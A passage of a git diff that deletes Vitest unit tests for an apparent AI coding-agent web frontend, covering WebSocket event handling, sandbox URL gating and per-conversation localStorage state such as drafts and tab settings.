expect(getBackendHealthEntry(id)?.disabled).toBe(true); - - // Act — changing host is the explicit "fix the config" signal and - // must clear the entry so polling resumes. - act(() => { - result.current.updateBackend(id, { host: "http://localhost:9001" }); - }); - - // Assert - expect(getBackendHealthEntry(id)).toBeNull(); - }); - - it("removeBackend drops the backend's persisted health entry", () => { - // Arrange - const { result } = renderHook(() => useActiveBackendContext(), { - wrapper: makeWrapper(), - }); - let id = ""; - act(() => { - id = result.current.addBackend({ - name: "Doomed", - host: "http://localhost:9000", - apiKey: "k", - kind: "local", - }).id; - }); - recordBackendFailure(id, new Error("boom")); - expect(getBackendHealthEntry(id)).not.toBeNull(); - - // Act - act(() => { - result.current.removeBackend(id); - }); - - // Assert - expect(getBackendHealthEntry(id)).toBeNull(); - }); -}); diff --git a/__tests__/contexts/conversation-websocket-context.test.tsx b/__tests__/contexts/conversation-websocket-context.test.tsx deleted file mode 100644 index 1dcc4502f..000000000 --- a/__tests__/contexts/conversation-websocket-context.test.tsx +++ /dev/null @@ -1,425 +0,0 @@ -import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { render, waitFor, act } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { createUserMessageEvent } from "test-utils"; -import { ConversationWebSocketProvider } from "#/contexts/conversation-websocket-context"; -import { useEventStore } from "#/stores/use-event-store"; -import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store"; -import { useBrowserStore } from "#/stores/browser-store"; -import { useCommandStore } from "#/stores/command-store"; -import { useErrorMessageStore } from "#/stores/error-message-store"; -import { useUserConversation } from "#/hooks/query/use-user-conversation"; -import EventService from "#/api/event-service/event-service.api"; -import { - getStoredConversationMetadata, - setStoredConversationMetadata, -} from "#/api/conversation-metadata-store"; -import type { MessageEvent } from "#/types/agent-server/core"; - -// Captures the main socket's `onMessage` (`handleMainMessage`) so tests can -// drive the live message path without a real WebSocket. Only the main socket -// gets a non-empty url (planning stays ""), so url presence discriminates it. -const wsCapture = vi.hoisted(() => ({ - mainOnMessage: null as null | ((event: { data: string }) => void), -})); - -// Keep the units under test real (the provider, `useConversationHistory`, the -// event store). Only the network is stubbed: the WebSocket transport and the -// REST service the history query depends on. -vi.mock("#/hooks/use-websocket", () => ({ - useWebSocket: vi.fn( - ( - url: string, - options?: { onMessage?: (event: { data: string }) => void }, - ) => { - if (url && options?.onMessage) { - wsCapture.mainOnMessage = options.onMessage; - } - return { socket: null, reconnect: vi.fn() }; - }, - ), -})); -vi.mock("#/hooks/query/use-user-conversation", () => ({ - useUserConversation: vi.fn(), -})); - -const AGENT_REPLY_ID = "evt-agent-reply"; - -// An agent reply that streamed in over the WebSocket *after* the initial REST -// history page — i.e. it lives only in the event store, never in the cached -// history page. This is the class of event the old code dropped on re-entry. -const makeAgentReply = (): MessageEvent => ({ - id: AGENT_REPLY_ID, - timestamp: new Date(Date.now() + 1000).toISOString(), - source: "agent", - llm_message: { role: "assistant", content: [{ type: "text", text: "Hi!" }] }, - activated_microagents: [], - extended_content: [], -}); - -const eventIds = () => useEventStore.getState().events.map((event) => event.id); - -describe("ConversationWebSocketProvider — conversation-scoped event store", () => { - let queryClient: QueryClient; - - const renderProvider = (conversationId: string) => - render( - - -
    - - , - ); - - beforeEach(() => { - wsCapture.mainOnMessage = null; - window.localStorage.clear(); - queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - - useEventStore.setState({ - events: [], - eventIds: new Set(), - uiEvents: [], - loadedConversationId: null, - }); - useOptimisticUserMessageStore.setState({ pendingMessages: [] }); - useBrowserStore.getState().reset(); - useCommandStore.setState({ commands: [] }); - useErrorMessageStore.getState().removeErrorMessage(); - - vi.mocked(useUserConversation).mockReturnValue({ - data: { conversation_url: "http://localhost/api", session_api_key: null }, - } as ReturnType); - - // The cached REST history page ends at the user's message — a fresh page - // per conversation so we can detect cross-conversation leakage. - vi.spyOn(EventService, "searchEvents").mockImplementation( - async (conversationId: string) => ({ - items: [createUserMessageEvent(`user-msg-${conversationId}`)], - next_page_id: null, - }), - ); - }); - - afterEach(() => { - vi.clearAllMocks(); - window.localStorage.clear(); - }); - - // A successful model switch the agent performed on its own (via the - // SwitchLLM tool), delivered over the main WebSocket. - const makeAgentSwitchObservation = (profileName: string) => ({ - id: "evt-switch-1", - timestamp: new Date().toISOString(), - source: "environment", - action_id: "action-switch-1", - tool_name: "switch_llm", - tool_call_id: "call-switch-1", - observation: { - kind: "SwitchLLMObservation", - content: [{ type: "text", text: `Switched to ${profileName}` }], - is_error: false, - profile_name: profileName, - reason: null, - active_model: null, - }, - }); - - it("stamps active_profile on a successful agent-triggered model switch so it survives reload", async () => { - // Arrange: open a conversation with a real ws url so the main socket's - // onMessage (handleMainMessage) is wired and captured. - render( - - -
    - - , - ); - await waitFor(() => expect(wsCapture.mainOnMessage).not.toBeNull()); - - // Act: the agent switches to "fast-opus" via the SwitchLLM tool. - act(() => { - wsCapture.mainOnMessage!({ - data: JSON.stringify(makeAgentSwitchObservation("fast-opus")), - }); - }); - - // Assert: the profile identity is persisted to stored metadata — the same - // field the chat-header switcher reads after a reload (#1082). Without the - // stamp this stays null and the header falls back to ambiguous matching. - expect(getStoredConversationMetadata("conv-switch")?.active_profile).toBe( - "fast-opus", - ); - }); - - it("preserves the conversation's attached plugins across an agent-triggered model switch", async () => { - // Arrange: the conversation's metadata already carries an attached plugin. - setStoredConversationMetadata("conv-switch", { - selected_repository: null, - selected_branch: null, - git_provider: null, - plugins: [ - { source: "github:acme/city-weather", ref: null, repo_path: null }, - ], - }); - render( - - -
    - - , - ); - await waitFor(() => expect(wsCapture.mainOnMessage).not.toBeNull()); - - // Act: the agent switches model via the SwitchLLM tool. - act(() => { - wsCapture.mainOnMessage!({ - data: JSON.stringify(makeAgentSwitchObservation("fast-opus")), - }); - }); - - // Assert: the plugins snapshot survives the full-object metadata replace. - expect(getStoredConversationMetadata("conv-switch")?.plugins).toEqual([ - { source: "github:acme/city-weather", ref: null, repo_path: null }, - ]); - }); - - // On reconnect the backlog is replayed; non-idempotent side-effects must not - // fire again for events already processed (#1656). - describe("reconnect replay does not re-run non-idempotent side-effects", () => { - const makeBashAction = (id: string, command: string) => ({ - id, - timestamp: new Date().toISOString(), - source: "agent", - thought: [], - thinking_blocks: [], - action: { - kind: "ExecuteBashAction", - command, - is_input: false, - timeout: null, - reset: false, - }, - tool_name: "execute_bash", - tool_call_id: `call-${id}`, - tool_call: { - id: `call-${id}`, - type: "function", - function: { - name: "execute_bash", - arguments: JSON.stringify({ command }), - }, - }, - llm_response_id: `resp-${id}`, - security_risk: "UNKNOWN", - }); - - const makeBashObservation = ( - id: string, - actionId: string, - text: string, - ) => ({ - id, - timestamp: new Date().toISOString(), - source: "environment", - action_id: actionId, - tool_name: "execute_bash", - tool_call_id: `call-${actionId}`, - observation: { - kind: "ExecuteBashObservation", - content: [{ type: "text", text }], - command: "run", - exit_code: 0, - error: false, - timeout: false, - metadata: { - exit_code: 0, - pid: 1, - username: "u", - hostname: "h", - working_dir: "/", - py_interpreter_path: null, - prefix: "", - suffix: "", - }, - }, - }); - - const makeConversationError = (id: string, detail: string) => ({ - id, - timestamp: new Date().toISOString(), - source: "environment", - kind: "ConversationErrorEvent", - detail, - code: "SomeError", - }); - - const renderCaptured = async () => { - render( - - -
    - - , - ); - await waitFor(() => expect(wsCapture.mainOnMessage).not.toBeNull()); - }; - - const deliver = (event: unknown) => - act(() => { - wsCapture.mainOnMessage!({ data: JSON.stringify(event) }); - }); - - it("does not re-append terminal input/output for replayed bash events", async () => { - await renderCaptured(); - - const action = makeBashAction("bash-action-1", "echo hi"); - const observation = makeBashObservation( - "bash-obs-1", - "bash-action-1", - "hi\n", - ); - - // First delivery, then a reconnect replay of the same two events. - deliver(action); - deliver(observation); - deliver(action); - deliver(observation); - - expect(useCommandStore.getState().commands).toEqual([ - { content: "echo hi", type: "input" }, - { content: "hi\n", type: "output" }, - ]); - }); - - it("does not re-raise a dismissed error banner when the error event is replayed", async () => { - await renderCaptured(); - - const errorEvent = makeConversationError("conv-error-1", "Boom"); - - // Show the banner, dismiss it, then replay the error on reconnect. - deliver(errorEvent); - expect(useErrorMessageStore.getState().errorMessage).toBe("Boom"); - act(() => useErrorMessageStore.getState().removeErrorMessage()); - expect(useErrorMessageStore.getState().errorMessage).toBeNull(); - - // It must stay dismissed. - deliver(errorEvent); - expect(useErrorMessageStore.getState().errorMessage).toBeNull(); - }); - }); - - it("clears the previous conversation's events when switching conversations", async () => { - // Arrange + Act: open conversation A. - const { rerender } = renderProvider("conv-a"); - await waitFor(() => expect(eventIds()).toEqual(["user-msg-conv-a"])); - - // Act: switch to conversation B. - rerender( - - -
    - - , - ); - - // Assert: B's history replaced A's — A did not leak into B. - await waitFor(() => expect(eventIds()).toEqual(["user-msg-conv-b"])); - }); - - it("resets browser-panel state when switching conversations", async () => { - const { rerender } = renderProvider("conv-a"); - await waitFor(() => expect(eventIds()).toEqual(["user-msg-conv-a"])); - - useBrowserStore.setState({ - url: "https://example.com", - screenshotSrc: "data:image/png;base64,abc123", - }); - - rerender( - - -
    - - , - ); - - await waitFor(() => - expect(useBrowserStore.getState().screenshotSrc).toBe(""), - ); - expect(useBrowserStore.getState().url).toBe(""); - }); - - it("keeps events that arrived after history when re-entering the same conversation", async () => { - // Arrange: open conversation A, then receive an agent reply over the socket - // that is not part of the cached REST history page. - const { unmount } = renderProvider("conv-a"); - await waitFor(() => expect(eventIds()).toEqual(["user-msg-conv-a"])); - act(() => { - useEventStore.getState().addEvent(makeAgentReply()); - }); - - // Act: leave (e.g. to Settings) and return to the same conversation. - unmount(); - renderProvider("conv-a"); - - // Assert: both the user message and the streamed reply survive re-entry. - await waitFor(() => - expect(eventIds()).toEqual(["user-msg-conv-a", AGENT_REPLY_ID]), - ); - // ...and the re-seed deduped against the existing user message rather than - // appending a second copy — exactly two events, no double-insertion. - expect(eventIds()).toHaveLength(2); - }); - - it("consumes the optimistic pending bubble when the echoed user message arrives via REST preload", async () => { - // Arrange: a cloud start-task conversation left a "Sending…" bubble whose - // content matches the first message the server has already persisted. With - // the WebSocket stubbed, the only path that delivers the echo is the REST - // history preload — the path that previously left this bubble orphaned. - useOptimisticUserMessageStore.setState({ - pendingMessages: [ - { - id: "pending-1", - conversationId: "conv-a", - text: "User message", - content: "User message", - status: "sending", - imageUrls: [], - fileUrls: [], - timestamp: new Date().toISOString(), - }, - ], - }); - - // Act: open the conversation; preload returns the echoed user message. - renderProvider("conv-a"); - - // Assert: the preloaded echo cleared the bubble, so it isn't shown twice. - await waitFor(() => - expect(useOptimisticUserMessageStore.getState().pendingMessages).toEqual( - [], - ), - ); - }); -}); diff --git a/__tests__/contexts/websocket-provider-wrapper.test.tsx b/__tests__/contexts/websocket-provider-wrapper.test.tsx deleted file mode 100644 index fcd8d008d..000000000 --- a/__tests__/contexts/websocket-provider-wrapper.test.tsx +++ /dev/null @@ -1,140 +0,0 @@ -/** - * Tests that WebSocketProviderWrapper correctly gates the conversationUrl - * it passes down to ConversationWebSocketProvider based on sandbox_status. - * - * Regression: when a cloud sandbox is PAUSED the API does NOT clear - * conversation_url — the stale URL persists. We must suppress it until the - * sandbox has fully resumed, otherwise the WS provider immediately tries to - * connect to a dead host and the browser console fills with connection errors. - */ -import React from "react"; -import { render } from "@testing-library/react"; -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { WebSocketProviderWrapper } from "#/contexts/websocket-provider-wrapper"; -import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; - -// ── Mocks ──────────────────────────────────────────────────────────────────── - -const capturedUrlPerRender: (string | null | undefined)[] = []; - -vi.mock("#/contexts/conversation-websocket-context", () => ({ - ConversationWebSocketProvider: ({ - conversationUrl, - children, - }: { - conversationUrl?: string | null; - children?: React.ReactNode; - }) => { - capturedUrlPerRender.push(conversationUrl); - return <>{children}; - }, -})); - -const mockUseActiveConversation = vi.fn(); -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => mockUseActiveConversation(), -})); - -vi.mock("#/hooks/query/use-sub-conversations", () => ({ - useSubConversations: () => ({ data: [] }), -})); - -// ── Helpers ─────────────────────────────────────────────────────────────────── - -function makeConversation( - overrides: Partial = {}, -): AppConversation { - return { - id: "conv-1", - created_by_user_id: null, - selected_repository: null, - selected_branch: null, - git_provider: null, - title: "Test", - trigger: null, - pr_number: [], - llm_model: null, - metrics: null, - created_at: "2024-01-01T00:00:00Z", - updated_at: "2024-01-01T00:00:00Z", - execution_status: null, - conversation_url: "https://sandbox.example.com/api/conversations/conv-1", - session_api_key: "sess-key", - sandbox_id: "sbx-1", - sub_conversation_ids: [], - ...overrides, - }; -} - -function renderWrapper() { - render( - -
    - , - ); -} - -// ── Tests ───────────────────────────────────────────────────────────────────── - -describe("WebSocketProviderWrapper — conversationUrl gating", () => { - beforeEach(() => { - capturedUrlPerRender.length = 0; - vi.clearAllMocks(); - }); - - it("passes conversation_url through when sandbox_status is null (local backend)", () => { - mockUseActiveConversation.mockReturnValue({ - data: makeConversation({ sandbox_status: null }), - }); - - renderWrapper(); - - expect(capturedUrlPerRender.at(-1)).toBe( - "https://sandbox.example.com/api/conversations/conv-1", - ); - }); - - it("passes conversation_url through when sandbox_status is RUNNING", () => { - mockUseActiveConversation.mockReturnValue({ - data: makeConversation({ sandbox_status: "RUNNING" }), - }); - - renderWrapper(); - - expect(capturedUrlPerRender.at(-1)).toBe( - "https://sandbox.example.com/api/conversations/conv-1", - ); - }); - - it("suppresses conversation_url (returns null) when sandbox_status is PAUSED", () => { - mockUseActiveConversation.mockReturnValue({ - data: makeConversation({ - sandbox_status: "PAUSED", - // The API keeps the stale URL even while paused — this is the regression. - conversation_url: "https://sandbox.example.com/api/conversations/conv-1", - }), - }); - - renderWrapper(); - - expect(capturedUrlPerRender.at(-1)).toBeNull(); - }); - - it("passes null through when conversation data has no url (sandbox still starting)", () => { - mockUseActiveConversation.mockReturnValue({ - data: makeConversation({ sandbox_status: null, conversation_url: null }), - }); - - renderWrapper(); - - expect(capturedUrlPerRender.at(-1)).toBeNull(); - }); - - it("passes undefined through when conversation data is not yet fetched", () => { - mockUseActiveConversation.mockReturnValue({ data: undefined }); - - renderWrapper(); - - expect(capturedUrlPerRender.at(-1)).toBeUndefined(); - }); -}); diff --git a/__tests__/conversation-local-storage.test.ts b/__tests__/conversation-local-storage.test.ts deleted file mode 100644 index 07571b36e..000000000 --- a/__tests__/conversation-local-storage.test.ts +++ /dev/null @@ -1,661 +0,0 @@ -import { describe, it, expect, beforeEach } from "vitest"; -import { - clearConversationLocalStorage, - getConversationState, - isTaskConversationId, - setConversationState, - LOCAL_STORAGE_KEYS, -} from "#/utils/conversation-local-storage"; - -describe("conversation localStorage utilities", () => { - beforeEach(() => { - localStorage.clear(); - }); - - describe("isTaskConversationId", () => { - it("returns true for IDs starting with task-", () => { - expect(isTaskConversationId("task-abc-123")).toBe(true); - expect(isTaskConversationId("task-")).toBe(true); - }); - - it("returns false for normal conversation IDs", () => { - expect(isTaskConversationId("conv-123")).toBe(false); - expect(isTaskConversationId("abc")).toBe(false); - }); - }); - - describe("getConversationState", () => { - it("returns default state including conversationMode for task IDs without reading localStorage", () => { - const state = getConversationState("task-uuid-123"); - - expect(state.conversationMode).toBe("code"); - expect(state.selectedTab).toBe("files"); - expect( - localStorage.getItem( - `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-task-uuid-123`, - ), - ).toBeNull(); - }); - - it("returns merged state from localStorage for real conversation ID including conversationMode", () => { - const key = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-conv-1`; - localStorage.setItem( - key, - JSON.stringify({ conversationMode: "plan", selectedTab: "terminal" }), - ); - - const state = getConversationState("conv-1"); - - expect(state.conversationMode).toBe("plan"); - expect(state.selectedTab).toBe("terminal"); - }); - - it("silently drops the legacy rightPanelShown field from older persisted blobs", () => { - // Older builds persisted the right-drawer state alongside the - // selected tab. The schema no longer carries that field — verify - // the read path strips it instead of leaking the unknown property - // onto consumers (and that legacy `false` values don't somehow - // pin the panel closed forever). - const conversationId = "conv-legacy-right-panel"; - const key = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - localStorage.setItem( - key, - JSON.stringify({ - selectedTab: "terminal", - rightPanelShown: false, - unpinnedTabs: ["browser"], - }), - ); - - const state = getConversationState(conversationId); - - expect(state.selectedTab).toBe("terminal"); - expect(state.unpinnedTabs).toEqual(["browser"]); - expect(state).not.toHaveProperty("rightPanelShown"); - }); - - it("also drops legacy rightPanelShown: true (not just the falsy variant)", () => { - // Older builds could persist either boolean. The previous test - // covered `false`; this one covers `true` so an upgrading user - // with the drawer open can't have it leak through into the new - // schema either. - const conversationId = "conv-legacy-right-panel-true"; - const key = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - localStorage.setItem( - key, - JSON.stringify({ - selectedTab: "terminal", - rightPanelShown: true, - unpinnedTabs: ["browser"], - }), - ); - - const state = getConversationState(conversationId); - - expect(state.selectedTab).toBe("terminal"); - expect(state.unpinnedTabs).toEqual(["browser"]); - expect(state).not.toHaveProperty("rightPanelShown"); - }); - - it("returns default state when key is missing or invalid", () => { - expect(getConversationState("conv-missing").conversationMode).toBe( - "code", - ); - - const key = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-conv-bad`; - localStorage.setItem(key, "not json"); - expect(getConversationState("conv-bad").conversationMode).toBe("code"); - }); - }); - - describe("setConversationState", () => { - it("does not persist when conversationId is a task ID", () => { - setConversationState("task-xyz", { conversationMode: "plan" }); - - expect( - localStorage.getItem( - `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-task-xyz`, - ), - ).toBeNull(); - }); - - it("persists conversationMode for real conversation ID and getConversationState returns it", () => { - setConversationState("conv-2", { conversationMode: "plan" }); - - const state = getConversationState("conv-2"); - expect(state.conversationMode).toBe("plan"); - }); - }); - - describe("clearConversationLocalStorage", () => { - it("removes the consolidated conversation-state localStorage entry", () => { - const conversationId = "conv-123"; - - const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - localStorage.setItem( - consolidatedKey, - JSON.stringify({ - selectedTab: "editor", - unpinnedTabs: [], - }), - ); - - clearConversationLocalStorage(conversationId); - - expect(localStorage.getItem(consolidatedKey)).toBeNull(); - }); - - it("does not throw if conversation keys do not exist", () => { - expect(() => { - clearConversationLocalStorage("non-existent-id"); - }).not.toThrow(); - }); - }); - - describe("getConversationState", () => { - it("returns default state with subConversationTaskId as null when no state exists", () => { - const conversationId = "conv-123"; - const state = getConversationState(conversationId); - - expect(state.subConversationTaskId).toBeNull(); - expect(state.selectedTab).toBe("files"); - expect(state.unpinnedTabs).toEqual([]); - }); - - it("retrieves subConversationTaskId from localStorage when it exists", () => { - const conversationId = "conv-123"; - const taskId = "task-uuid-123"; - const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - - localStorage.setItem( - consolidatedKey, - JSON.stringify({ - selectedTab: "editor", - unpinnedTabs: [], - subConversationTaskId: taskId, - }), - ); - - const state = getConversationState(conversationId); - - expect(state.subConversationTaskId).toBe(taskId); - }); - - it("merges stored state with defaults when partial state exists", () => { - const conversationId = "conv-123"; - const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - - localStorage.setItem( - consolidatedKey, - JSON.stringify({ - subConversationTaskId: "task-123", - }), - ); - - const state = getConversationState(conversationId); - - expect(state.subConversationTaskId).toBe("task-123"); - expect(state.selectedTab).toBe("files"); - expect(state.unpinnedTabs).toEqual([]); - }); - - it("falls back to the default tab when stored selectedTab is no longer valid", () => { - const conversationId = "conv-123"; - const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - - // Persisted from a previous app version where "editor" was a tab. - localStorage.setItem( - consolidatedKey, - JSON.stringify({ - selectedTab: "editor", - unpinnedTabs: [], - }), - ); - - const state = getConversationState(conversationId); - - expect(state.selectedTab).toBe("files"); - }); - - it("filters obsolete tabs out of stored unpinnedTabs (changes / editor / served / app)", () => { - // Returning users may have unpinned the now-removed Changes, - // Editor, Served, or App tabs in a previous version. Those names - // should not survive the read — otherwise they linger forever in - // localStorage since the UI has no way to surface them again to be - // re-pinned. We cover ALL four removed names here (the previous - // version of this test missed `app` and the gap let a denylist-vs- - // whitelist regression slip through review). - const conversationId = "conv-123"; - const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - - localStorage.setItem( - consolidatedKey, - JSON.stringify({ - selectedTab: "files", - unpinnedTabs: ["editor", "changes", "served", "app", "terminal"], - }), - ); - - const state = getConversationState(conversationId); - - // Only the still-valid `terminal` entry survives; all four - // obsolete names are dropped. - expect(state.unpinnedTabs).toEqual(["terminal"]); - }); - }); - - describe("setConversationState", () => { - it("persists subConversationTaskId to localStorage", () => { - const conversationId = "conv-123"; - const taskId = "task-uuid-456"; - const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - - setConversationState(conversationId, { - subConversationTaskId: taskId, - }); - - const stored = localStorage.getItem(consolidatedKey); - expect(stored).not.toBeNull(); - - const parsed = JSON.parse(stored!); - expect(parsed.subConversationTaskId).toBe(taskId); - }); - - it("merges subConversationTaskId with existing state", () => { - const conversationId = "conv-123"; - const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - - // Set initial state - localStorage.setItem( - consolidatedKey, - JSON.stringify({ - selectedTab: "browser", - unpinnedTabs: ["tab-1"], - subConversationTaskId: "old-task-id", - }), - ); - - // Update only subConversationTaskId - setConversationState(conversationId, { - subConversationTaskId: "new-task-id", - }); - - const stored = localStorage.getItem(consolidatedKey); - const parsed = JSON.parse(stored!); - - expect(parsed.subConversationTaskId).toBe("new-task-id"); - expect(parsed.selectedTab).toBe("browser"); - expect(parsed.unpinnedTabs).toEqual(["tab-1"]); - }); - - it("clears subConversationTaskId when set to null", () => { - const conversationId = "conv-123"; - const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - - // Set initial state with task ID - localStorage.setItem( - consolidatedKey, - JSON.stringify({ - subConversationTaskId: "task-123", - }), - ); - - // Clear the task ID - setConversationState(conversationId, { - subConversationTaskId: null, - }); - - const stored = localStorage.getItem(consolidatedKey); - const parsed = JSON.parse(stored!); - - expect(parsed.subConversationTaskId).toBeNull(); - }); - }); - - describe("draftMessage persistence", () => { - describe("getConversationState", () => { - it("returns default draftMessage as null when no state exists", () => { - // Arrange - const conversationId = "conv-draft-1"; - - // Act - const state = getConversationState(conversationId); - - // Assert - expect(state.draftMessage).toBeNull(); - }); - - it("retrieves draftMessage from localStorage when it exists", () => { - // Arrange - const conversationId = "conv-draft-2"; - const draftText = "This is my saved draft message"; - const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - - localStorage.setItem( - consolidatedKey, - JSON.stringify({ - draftMessage: draftText, - }), - ); - - // Act - const state = getConversationState(conversationId); - - // Assert - expect(state.draftMessage).toBe(draftText); - }); - - it("returns null draftMessage for task conversation IDs (not persisted)", () => { - // Arrange - const taskId = "task-uuid-123"; - const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${taskId}`; - - // Even if somehow there's data in localStorage for a task ID - localStorage.setItem( - consolidatedKey, - JSON.stringify({ - draftMessage: "Should not be returned", - }), - ); - - // Act - const state = getConversationState(taskId); - - // Assert - should return default state, not the stored value - expect(state.draftMessage).toBeNull(); - }); - }); - - describe("setConversationState", () => { - it("persists draftMessage to localStorage", () => { - // Arrange - const conversationId = "conv-draft-3"; - const draftText = "New draft message to save"; - const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - - // Act - setConversationState(conversationId, { - draftMessage: draftText, - }); - - // Assert - const stored = localStorage.getItem(consolidatedKey); - expect(stored).not.toBeNull(); - const parsed = JSON.parse(stored!); - expect(parsed.draftMessage).toBe(draftText); - }); - - it("does not persist draftMessage for task conversation IDs", () => { - // Arrange - const taskId = "task-draft-xyz"; - const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${taskId}`; - - // Act - setConversationState(taskId, { - draftMessage: "Draft for task ID", - }); - - // Assert - nothing should be stored - expect(localStorage.getItem(consolidatedKey)).toBeNull(); - }); - - it("merges draftMessage with existing state without overwriting other fields", () => { - // Arrange - const conversationId = "conv-draft-4"; - const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - - localStorage.setItem( - consolidatedKey, - JSON.stringify({ - selectedTab: "terminal", - unpinnedTabs: ["tab-1", "tab-2"], - conversationMode: "plan", - subConversationTaskId: "task-123", - }), - ); - - // Act - setConversationState(conversationId, { - draftMessage: "Updated draft", - }); - - // Assert - const stored = localStorage.getItem(consolidatedKey); - const parsed = JSON.parse(stored!); - - expect(parsed.draftMessage).toBe("Updated draft"); - expect(parsed.selectedTab).toBe("terminal"); - expect(parsed.unpinnedTabs).toEqual(["tab-1", "tab-2"]); - expect(parsed.conversationMode).toBe("plan"); - expect(parsed.subConversationTaskId).toBe("task-123"); - }); - - it("clears draftMessage when set to null", () => { - // Arrange - const conversationId = "conv-draft-5"; - const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - - localStorage.setItem( - consolidatedKey, - JSON.stringify({ - draftMessage: "Existing draft", - }), - ); - - // Act - setConversationState(conversationId, { - draftMessage: null, - }); - - // Assert - const stored = localStorage.getItem(consolidatedKey); - const parsed = JSON.parse(stored!); - expect(parsed.draftMessage).toBeNull(); - }); - - it("clears draftMessage when set to empty string (stored as empty string)", () => { - // Arrange - const conversationId = "conv-draft-6"; - const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - - localStorage.setItem( - consolidatedKey, - JSON.stringify({ - draftMessage: "Existing draft", - }), - ); - - // Act - setConversationState(conversationId, { - draftMessage: "", - }); - - // Assert - const stored = localStorage.getItem(consolidatedKey); - const parsed = JSON.parse(stored!); - expect(parsed.draftMessage).toBe(""); - }); - }); - - describe("conversation-specific draft isolation", () => { - it("stores drafts separately for different conversations", () => { - // Arrange - const convA = "conv-A"; - const convB = "conv-B"; - const draftA = "Draft for conversation A"; - const draftB = "Draft for conversation B"; - - // Act - setConversationState(convA, { draftMessage: draftA }); - setConversationState(convB, { draftMessage: draftB }); - - // Assert - const stateA = getConversationState(convA); - const stateB = getConversationState(convB); - - expect(stateA.draftMessage).toBe(draftA); - expect(stateB.draftMessage).toBe(draftB); - }); - - it("updating one conversation draft does not affect another", () => { - // Arrange - const convA = "conv-isolated-A"; - const convB = "conv-isolated-B"; - - setConversationState(convA, { draftMessage: "Original draft A" }); - setConversationState(convB, { draftMessage: "Original draft B" }); - - // Act - update only conversation A - setConversationState(convA, { draftMessage: "Updated draft A" }); - - // Assert - conversation B should be unchanged - const stateA = getConversationState(convA); - const stateB = getConversationState(convB); - - expect(stateA.draftMessage).toBe("Updated draft A"); - expect(stateB.draftMessage).toBe("Original draft B"); - }); - - it("clearing one conversation draft does not affect another", () => { - // Arrange - const convA = "conv-clear-A"; - const convB = "conv-clear-B"; - - setConversationState(convA, { draftMessage: "Draft A" }); - setConversationState(convB, { draftMessage: "Draft B" }); - - // Act - clear draft for conversation A - setConversationState(convA, { draftMessage: null }); - - // Assert - const stateA = getConversationState(convA); - const stateB = getConversationState(convB); - - expect(stateA.draftMessage).toBeNull(); - expect(stateB.draftMessage).toBe("Draft B"); - }); - }); - }); - - describe("filesTabDiffView persistence", () => { - // The diff-view toggle is per-conversation: in a git repo it - // defaults to ON, in a plain workspace it defaults to OFF, but the - // user's last explicit choice should win. Verify the boolean - // round-trips through localStorage and that the unset case stays - // `null` (so the higher layer can apply the repo-aware default). - - it("defaults to null when nothing is stored", () => { - const state = getConversationState("files-diff-conv-1"); - expect(state.filesTabDiffView).toBeNull(); - }); - - it("round-trips `true` through localStorage", () => { - const conversationId = "files-diff-conv-2"; - setConversationState(conversationId, { filesTabDiffView: true }); - - const state = getConversationState(conversationId); - expect(state.filesTabDiffView).toBe(true); - - // Also verify the on-disk shape — important because the consumer - // code reads it back via `JSON.parse`, so a wrong-type value would - // be a silent regression. - const raw = localStorage.getItem( - `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`, - ); - expect(raw).not.toBeNull(); - expect(JSON.parse(raw as string).filesTabDiffView).toBe(true); - }); - - it("round-trips `false` through localStorage", () => { - const conversationId = "files-diff-conv-3"; - setConversationState(conversationId, { filesTabDiffView: false }); - - const state = getConversationState(conversationId); - expect(state.filesTabDiffView).toBe(false); - }); - - it("is isolated per conversation", () => { - setConversationState("files-diff-convA", { filesTabDiffView: true }); - setConversationState("files-diff-convB", { filesTabDiffView: false }); - - expect(getConversationState("files-diff-convA").filesTabDiffView).toBe( - true, - ); - expect(getConversationState("files-diff-convB").filesTabDiffView).toBe( - false, - ); - }); - }); - - describe("filesTabContentViewMode persistence", () => { - // The rich/plain toggle for the file content viewer also persists - // per conversation. Default is "rich" — verified explicitly here so - // a careless change to the default field initializer doesn't slip - // through unnoticed (it would flip every existing user from rich to - // plain after deploy). - - it("defaults to 'rich' when nothing is stored", () => { - const state = getConversationState("files-view-conv-1"); - expect(state.filesTabContentViewMode).toBe("rich"); - }); - - it("round-trips 'plain' through localStorage", () => { - const conversationId = "files-view-conv-2"; - setConversationState(conversationId, { - filesTabContentViewMode: "plain", - }); - - 